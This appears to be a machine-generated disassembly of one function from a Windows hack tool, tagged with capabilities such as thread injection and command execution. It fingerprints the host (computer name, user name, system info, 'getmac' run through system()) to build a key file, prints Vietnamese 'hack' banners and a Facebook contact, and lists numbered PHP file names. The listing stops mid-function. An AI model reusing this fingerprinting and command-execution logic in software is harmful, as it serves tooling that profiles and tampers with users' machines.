Function at 0x140003620
Capabilities:
Create process on windows
Create thread
Enumerate processes
Execute command
Get hostname
Get session user name
Get system information on windows
Inject thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f80]
mov eax, 0x2080
call fcn.140009a00
sub rsp, rax
movaps xmmword [rsp + 0x2070], xmm6
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rbp + 0x1f60], rax
xor r15d, r15d
mov eax, r15d
mov dword [rsp + 0x40], eax
mov dword [rbp + 0x1b0], eax
mov dword [rbp + 0x1b8], 0x12
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rdx, str.______._.__Xin_Chao__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov rcx, rax
lea rdx, [rbp + 0x1f30]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x14000ba04]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x140006e70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x1bc], 0x12
lea rdx, [rbp + 0x1bc]
lea rcx, [rbp + 0x1f48]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, str.______._.__Nguoi_Su_Dung_Ban_Hack__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov rcx, rax
lea rdx, [rbp + 0x1f48]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x14000ba04]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x140006e70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x1f30]
lea rcx, [rbp + 0xa08]
call fcn.140006690
nop
lea rcx, [rbp + 0xa08]
call fcn.140006550
mov r14d, r15d
mov dword [rbp + 0x1b0], r15d
lea ebx, [rax - 1]
test ebx, ebx
js 0x1400037c3
movsxd rdi, ebx
mov esi, r15d
nop dword [rax + rax]
mov edx, esi
mov ecx, 0xa
call fcn.140006eb0
movaps xmm6, xmm0
mov rdx, rdi
lea rcx, [rbp + 0xa08]
call fcn.140006570
movsx ecx, byte [rax]
sub ecx, 0x30
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
mulsd xmm1, xmm6
movd xmm0, r14d
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
cvttsd2si r14d, xmm1
inc esi
dec rdi
sub ebx, 1
jns 0x140003770
mov dword [rbp + 0x1b0], r14d
lea rdx, [rbp + 0x1f48]
lea rcx, [rbp + 0x9e8]
call fcn.140006690
nop
lea rcx, [rbp + 0x9e8]
call fcn.140006550
lea ebx, [rax - 1]
test ebx, ebx
js 0x140003815
movsxd rdi, ebx
mov esi, r15d
mov edx, esi
mov ecx, 0xa
call fcn.140006eb0
mov rdx, rdi
lea rcx, [rbp + 0x9e8]
call fcn.140006570
inc esi
dec rdi
sub ebx, 1
jns 0x1400037f0
lea rdx, str.getmac
lea rcx, [rbp + 0xa68]
call fcn.140006690
nop
lea rdx, str.GuiKeyChoQuyen.txt
lea rcx, [rbp + 0xa48]
call fcn.140006690
nop
lea r8, [0x14000ba64]
lea rdx, [rbp + 0xa68]
lea rcx, [rbp + 0x568]
call fcn.140006ed0
nop
lea r8, [rbp + 0xa48]
mov rdx, rax
lea rcx, [rbp + 0xca8]
call fcn.140007000
mov rcx, rax
call fcn.140006560
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xca8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x568]
call fcn.1400028c0
mov edx, 0x110
lea rcx, [rbp + 0x1f0]
call fcn.140001840
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.GuiKeyChoQuyen.txt
lea rcx, [rbp + 0x1f0]
call fcn.1400027b0
nop
mov rax, qword [rbp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1f0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x140003927
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_Lay_Key_Gui_Cho_Quyen_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x140006e70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, r15d
lea rcx, [rbp + 0x9c8]
call fcn.140002920
nop
lea rcx, [rbp + 0x9a8]
call fcn.140002920
nop
lea rcx, [rbp + 0x988]
call fcn.140002920
nop
lea rcx, [rbp + 0x968]
call fcn.140002920
nop
lea rcx, [rbp + 0x948]
call fcn.140002920
nop
lea rcx, [rbp + 0x928]
call fcn.140002920
nop
lea rcx, [rbp + 0x908]
call fcn.140002920
nop
lea rcx, [rbp + 0x8e8]
call fcn.140002920
nop
lea rcx, [rbp + 0x8c8]
call fcn.140002920
nop
lea rcx, [rbp + 0x8a8]
call fcn.140002920
nop
lea rcx, [rbp + 0x888]
call fcn.140002920
nop
lea rcx, [rbp + 0x868]
call fcn.140002920
nop
lea rcx, [rbp + 0xc88]
call fcn.140002920
nop
lea rcx, [rbp + 0xc68]
call fcn.140002920
nop
lea rcx, [rbp + 0xc48]
call fcn.140002920
nop
lea rcx, [rbp + 0xc28]
call fcn.140002920
nop
lea rcx, [rbp + 0xc08]
call fcn.140002920
nop
lea rcx, [rbp + 0xbe8]
call fcn.140002920
nop
lea rcx, [rbp + 0xbc8]
call fcn.140002920
nop
lea rcx, [rbp + 0xba8]
call fcn.140002920
nop
lea rcx, [rbp + 0x548]
call fcn.140002920
nop
mov rax, qword [rbp + 0x1f0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x200], 1
jne 0x140003b84
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x522]
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
movzx edx, byte [rbp + 0x522]
lea rcx, [rbp + 0x548]
call fcn.140006590
inc ebx
cmp ebx, 0xaa
jne 0x140003a9d
lea rcx, [rbp + 0x9c8]
jmp 0x140003b5f
cmp ebx, 0xa9
jne 0x140003ab1
lea rcx, [rbp + 0x9a8]
jmp 0x140003b5f
cmp ebx, 0xa7
jne 0x140003ac5
lea rcx, [rbp + 0x988]
jmp 0x140003b5f
cmp ebx, 0xa6
jne 0x140003ad9
lea rcx, [rbp + 0x968]
jmp 0x140003b5f
cmp ebx, 0xa4
jne 0x140003aea
lea rcx, [rbp + 0x948]
jmp 0x140003b5f
cmp ebx, 0xa3
jne 0x140003afb
lea rcx, [rbp + 0x928]
jmp 0x140003b5f
cmp ebx, 0xa1
jne 0x140003b0c
lea rcx, [rbp + 0x908]
jmp 0x140003b5f
cmp ebx, 0xa0
jne 0x140003b1d
lea rcx, [rbp + 0x8e8]
jmp 0x140003b5f
cmp ebx, 0xad
jne 0x140003b2e
lea rcx, [rbp + 0x8c8]
jmp 0x140003b5f
cmp ebx, 0xac
jne 0x140003b3f
lea rcx, [rbp + 0x8a8]
jmp 0x140003b5f
cmp ebx, 0xb0
jne 0x140003b50
lea rcx, [rbp + 0x888]
jmp 0x140003b5f
cmp ebx, 0xaf
jne 0x140003b6b
lea rcx, [rbp + 0x868]
lea rdx, [rbp + 0x548]
call fcn.1400065d0
mov rax, qword [rbp + 0x1f0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x200], 1
je 0x140003a60
lea rcx, [rbp + 0x1f0]
call fcn.1400026b0
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r13d, dword [rbp + 0x1c0]
mov r12d, dword [rbp + 0x1e0]
mov r15d, dword [rbp + 0x1c4]
mov r14d, dword [rbp + 0x1e4]
mov esi, dword [rbp + 0x1c8]
mov edi, dword [rbp + 0x1d0]
mov ebx, dword [rbp + 0x1d8]
mov edx, 0x108
lea rcx, [rbp + 0xef0]
call fcn.140006330
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.FB_QuyenGaBon.txt
lea rcx, [rbp + 0xef0]
call fcn.140006440
nop
add edi, ebx
add edi, esi
add edi, r14d
add edi, r15d
add edi, r12d
add edi, r13d
add edi, dword [rbp + 0x1b0]
mov edx, dword [rbp + 0x1bc]
add edx, edi
add edx, dword [rbp + 0x1b8]
lea rcx, [rbp + 0xef0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rcx, [rbp + 0xef0]
call fcn.140006340
mov edx, 0x110
lea rcx, [rbp + 0x300]
call fcn.140001840
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.FB_QuyenGaBon.txt
lea rcx, [rbp + 0x300]
call fcn.1400027b0
nop
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x300]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x140003cd0
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_FB_QuyenGaBon_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x140006e70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor esi, esi
mov ebx, esi
lea rcx, [rbp + 0xa28]
call fcn.140002920
nop
lea rcx, [rbp + 0xb88]
call fcn.140002920
nop
lea rcx, [rbp + 0xb68]
call fcn.140002920
nop
lea rcx, [rbp + 0xb48]
call fcn.140002920
nop
lea rcx, [rbp + 0xb28]
call fcn.140002920
nop
lea rcx, [rbp + 0xb08]
call fcn.140002920
nop
lea rcx, [rbp + 0xae8]
call fcn.140002920
nop
lea rcx, [rbp + 0xac8]
call fcn.140002920
nop
lea rcx, [rbp + 0xaa8]
call fcn.140002920
nop
lea rcx, [rbp + 0xa88]
call fcn.140002920
nop
lea rcx, [rbp + 0x588]
call fcn.140002920
nop
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x310], 1
jne 0x140003e58
nop dword [rax]
lea rdx, [rbp + 0x521]
lea rcx, [rbp + 0x300]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
movzx edx, byte [rbp + 0x521]
lea rcx, [rbp + 0x588]
call fcn.140006590
inc ebx
cmp ebx, 1
jne 0x140003db7
lea rcx, [rbp + 0xa28]
jmp 0x140003e33
cmp ebx, 2
jne 0x140003dc5
lea rcx, [rbp + 0xb88]
jmp 0x140003e33
cmp ebx, 3
jne 0x140003dd3
lea rcx, [rbp + 0xb68]
jmp 0x140003e33
cmp ebx, 4
jne 0x140003de1
lea rcx, [rbp + 0xb48]
jmp 0x140003e33
cmp ebx, 5
jne 0x140003def
lea rcx, [rbp + 0xb28]
jmp 0x140003e33
cmp ebx, 6
jne 0x140003dfd
lea rcx, [rbp + 0xb08]
jmp 0x140003e33
cmp ebx, 7
jne 0x140003e0b
lea rcx, [rbp + 0xae8]
jmp 0x140003e33
cmp ebx, 8
jne 0x140003e19
lea rcx, [rbp + 0xac8]
jmp 0x140003e33
cmp ebx, 9
jne 0x140003e27
lea rcx, [rbp + 0xaa8]
jmp 0x140003e33
cmp ebx, 0xa
jne 0x140003e3f
lea rcx, [rbp + 0xa88]
lea rdx, [rbp + 0x588]
call fcn.1400065d0
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x310], 1
je 0x140003d80
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__________________________________________________FaceBook:_QUYEN_GA_BON
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x140006e70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________________________________ROS_HACK
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x140006e70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x108
lea rcx, [rbp + 0xde0]
call fcn.140006330
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.FB_QuyenGaBon.txt
lea rcx, [rbp + 0xde0]
call fcn.140006440
nop
lea rdx, str.https:__www.facebook.com_thuynguyet.phonghoa.9
lea rcx, [rbp + 0xde0]
call fcn.140006ca0
lea rcx, [rbp + 0xde0]
call fcn.140006340
mov edx, 0x108
lea rcx, [rbp + 0xcd0]
call fcn.140006330
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.GuiKeyChoQuyen.txt
lea rcx, [rbp + 0xcd0]
call fcn.140006440
nop
lea r8, [rbp + 0x9a8]
lea rdx, [rbp + 0x9c8]
lea rcx, [rbp - 0x30]
call fcn.140007070
nop
lea r8, [rbp + 0x988]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140007000
nop
lea r8, [rbp + 0x968]
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140007000
nop
lea r8, [rbp + 0x948]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140007000
nop
lea r8, [rbp + 0x928]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140007000
nop
lea r8, [rbp + 0x908]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140007000
nop
lea r8, [rbp + 0x8e8]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140007000
nop
lea r8, [rbp + 0x8c8]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140007000
nop
lea r8, [rbp + 0x8a8]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140007000
nop
lea r8, [rbp + 0x888]
mov rdx, rax
lea rcx, [rbp + 0x568]
call fcn.140007000
nop
lea r8, [rbp + 0x868]
mov rdx, rax
lea rcx, [rbp + 0xca8]
call fcn.140007000
mov rbx, rax
mov edx, dword [rbp + 0x1bc]
add edx, edi
add edx, dword [rbp + 0x1b8]
lea rcx, [rbp + 0xcd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
mov rdx, rbx
call fcn.1400071d0
nop
lea rcx, [rbp + 0xca8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x568]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x10]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x10]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x90]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x70]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x50]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x30]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x50]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x70]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x30]
call fcn.1400028c0
lea rcx, [rbp + 0xcd0]
call fcn.140006340
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x110
lea rcx, [rbp + 0x410]
call fcn.140001840
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.GuiKeyChoQuyen.txt
lea rcx, [rbp + 0x410]
call fcn.1400027b0
nop
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x410]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x1400041c1
lea rdx, [0x140006e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Vui_Long_Mo_Lai_Hack
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006ca0
mov rcx, rax
lea rdx, [0x140006e70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, esi
lea rcx, [rbp + 0x668]
call fcn.140002920
nop
lea rcx, [rbp + 0x788]
call fcn.140002920
nop
lea rcx, [rbp + 0x7a8]
call fcn.140002920
nop
lea rcx, [rbp + 0x7c8]
call fcn.140002920
nop
lea rcx, [rbp + 0x7e8]
call fcn.140002920
nop
lea rcx, [rbp + 0x808]
call fcn.140002920
nop
lea rcx, [rbp + 0x828]
call fcn.140002920
nop
lea rcx, [rbp + 0x848]
call fcn.140002920
nop
lea rcx, [rbp + 0x5c8]
call fcn.140002920
nop
lea rcx, [rbp + 0x5e8]
call fcn.140002920
nop
lea rcx, [rbp + 0x608]
call fcn.140002920
nop
lea rcx, [rbp + 0x628]
call fcn.140002920
nop
lea rcx, [rbp + 0x648]
call fcn.140002920
nop
lea rcx, [rbp + 0x688]
call fcn.140002920
nop
lea rcx, [rbp + 0x6a8]
call fcn.140002920
nop
lea rcx, [rbp + 0x6c8]
call fcn.140002920
nop
lea rcx, [rbp + 0x6e8]
call fcn.140002920
nop
lea rcx, [rbp + 0x708]
call fcn.140002920
nop
lea rcx, [rbp + 0x728]
call fcn.140002920
nop
lea rcx, [rbp + 0x748]
call fcn.140002920
nop
lea rcx, [rbp + 0x768]
call fcn.140002920
nop
lea rcx, [rbp + 0x5a8]
call fcn.140002920
nop
lea rcx, [rbp + 0x528]
call fcn.140002920
nop
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x420], 1
jne 0x1400044b4
nop word [rax + rax]
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
movzx edx, byte [rbp + 0x520]
lea rcx, [rbp + 0x528]
call fcn.140006590
inc ebx
cmp ebx, 1
jne 0x14000434a
lea rcx, [rbp + 0x668]
jmp 0x14000448f
cmp ebx, 2
jne 0x14000435b
lea rcx, [rbp + 0x788]
jmp 0x14000448f
cmp ebx, 3
jne 0x14000436c
lea rcx, [rbp + 0x7a8]
jmp 0x14000448f
cmp ebx, 4
jne 0x14000437d
lea rcx, [rbp + 0x7c8]
jmp 0x14000448f
cmp ebx, 5
jne 0x14000438e
lea rcx, [rbp + 0x7e8]
jmp 0x14000448f
cmp ebx, 6
jne 0x14000439f
lea rcx, [rbp + 0x808]
jmp 0x14000448f
cmp ebx, 7
jne 0x1400043b0
lea rcx, [rbp + 0x828]
jmp 0x14000448f
cmp ebx, 8
jne 0x1400043c1
lea rcx, [rbp + 0x848]
jmp 0x14000448f
cmp ebx, 9
jne 0x1400043d2
lea rcx, [rbp + 0x5c8]
jmp 0x14000448f
cmp ebx, 0xa
jne 0x1400043e3
lea rcx, [rbp + 0x5e8]
jmp 0x14000448f
cmp ebx, 0xb
jne 0x1400043f4
lea rcx, [rbp + 0x608]
jmp 0x14000448f
cmp ebx, 0xc
jne 0x140004405
lea rcx, [rbp + 0x628]
jmp 0x14000448f
cmp ebx, 0xd
jne 0x140004413
lea rcx, [rbp + 0x648]
jmp 0x14000448f
cmp ebx, 0xe
jne 0x140004421
lea rcx, [rbp + 0x688]
jmp 0x14000448f
cmp ebx, 0xf
jne 0x14000442f
lea rcx, [rbp + 0x6a8]
jmp 0x14000448f
cmp ebx, 0x10
jne 0x14000443d
lea rcx, [rbp + 0x6c8]
jmp 0x14000448f
cmp ebx, 0x11
jne 0x14000444b
lea rcx, [rbp + 0x6e8]
jmp 0x14000448f
cmp ebx, 0x12
jne 0x140004459
lea rcx, [rbp + 0x708]
jmp 0x14000448f
cmp ebx, 0x13
jne 0x140004467
lea rcx, [rbp + 0x728]
jmp 0x14000448f
cmp ebx, 0x14
jne 0x140004475
lea rcx, [rbp + 0x748]
jmp 0x14000448f
cmp ebx, 0x15
jne 0x140004483
lea rcx, [rbp + 0x768]
jmp 0x14000448f
cmp ebx, 0x16
jne 0x14000449b
lea rcx, [rbp + 0x5a8]
lea rdx, [rbp + 0x528]
call fcn.1400065d0
mov rax, qword [rbp + 0x410]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x420], 1
je 0x140004310
lea r12, [fcn.1400028c0]
mov qword [rsp + 0x20], r12
lea r9, [fcn.140002920]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x1b20]
call fcn.140008ab8
nop
mov qword [rsp + 0x20], r12
lea r9, [fcn.140002920]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x1720]
call fcn.140008ab8
nop
lea rdx, str.files3_a0b.php
lea rcx, [rbp + 0x1720]
call fcn.1400065b0
lea rdx, str.files3_a1b.php
lea rcx, [rbp + 0x1740]
call fcn.1400065b0
lea rdx, str.files3_a2b.php
lea rcx, [rbp + 0x1760]
call fcn.1400065b0
lea rdx, str.files3_a3b.php
lea rcx, [rbp + 0x1780]
call fcn.1400065b0
lea rdx, str.files3_a4b.php
lea rcx, [rbp + 0x17a0]
call fcn.1400065b0
lea rdx, str.files3_a5b.php
lea rcx, [rbp + 0x17c0]
call fcn.1400065b0
lea rdx, str.files3_a6b.php
lea rcx, [rbp + 0x17e0]
call fcn.1400065b0
lea rdx, str.files3_a7b.php
lea rcx, [rbp + 0x1800]
call fcn.1400065b0
lea rdx, str.files3_a8b.php
lea rcx, [rbp + 0x1820]
call fcn.1400065b0
lea rdx, str.files3_a9b.php
lea rcx, [rbp + 0x1840]
call fcn.1400065b0
lea rdx, str.files3_a10b.php
lea rcx, [rbp + 0x1860]
call fcn.1400065b0
lea rdx, str.files3_a11b.php
lea rcx, [rbp + 0x1880]
call fcn.1400065b0
lea rdx, str.files3_a12b.php
lea rcx, [rbp + 0x18a0]
call fcn.1400065b0
lea rdx, str.files3_a13b.php
lea rcx, [rbp + 0x18c0]
call fcn.1400065b0
lea rdx, str.files3_a14b.php
lea rcx, [rbp + 0x18e0]
call fcn.1400065b0
lea rdx, str.files3_a15b.php
lea rcx, [rbp + 0x1900]
call fcn.1400065b0
lea rdx, str.files3_a16b.php
lea rcx, [rbp + 0x1920]
call fcn.1400065b0
lea rdx, str.files3_a17b.php
lea rcx, [rbp + 0x1940]
call fcn.1400065b0
lea rdx, str.files3_a18b.php
lea rcx, [rbp + 0x1960]
call fcn.1400065b0
lea rdx, str.files3_a19b.php
lea rcx, [rbp + 0x1980]
call fcn.1400065b0
lea rdx, str.files3_a20b.php
lea rcx, [rbp + 0x19a0]
call fcn.1400065b0
lea rdx, str.files3_a21b.php
lea rcx, [rbp + 0x19c0]
call fcn.1400065b0
lea rdx, str.files3_a22b.php
lea rcx, [rbp + 0x19e0]
call fcn.1400065b0
lea rdx, str.files3_a23b.php
lea rcx, [rbp + 0x1a00]
call fcn.1400065b0
lea rdx, str.files3_a24b.php
lea rcx, [rbp + 0x1a20]
call fcn.1400065b0
lea rdx, str.files3_a25b.php
lea rcx, [rbp + 0x1a40]
call fcn.1400065b0
lea rdx, str.files3_a26b.php
lea rcx, [rbp + 0x1a60]
call fcn.1400065b0
lea rdx, str.files3_a27b.php
lea rcx, [rbp + 0x1a80]
call fcn.1400065b0
lea rdx, str.files3_a28b.php
lea rcx, [rbp + 0x1aa0]
call fcn.1400065b0
lea rdx, str.files3_a29b.php
lea rcx, [rbp + 0x1ac0]
call fcn.1400065b0
lea rdx, str.files3_a30b.php
lea rcx, [rbp + 0x1ae0]
call fcn.1400065b0
lea rdx, str.files3_a31b.php
lea rcx, [rbp + 0x1b00]
call fcn.1400065b0
mov r15d, esi
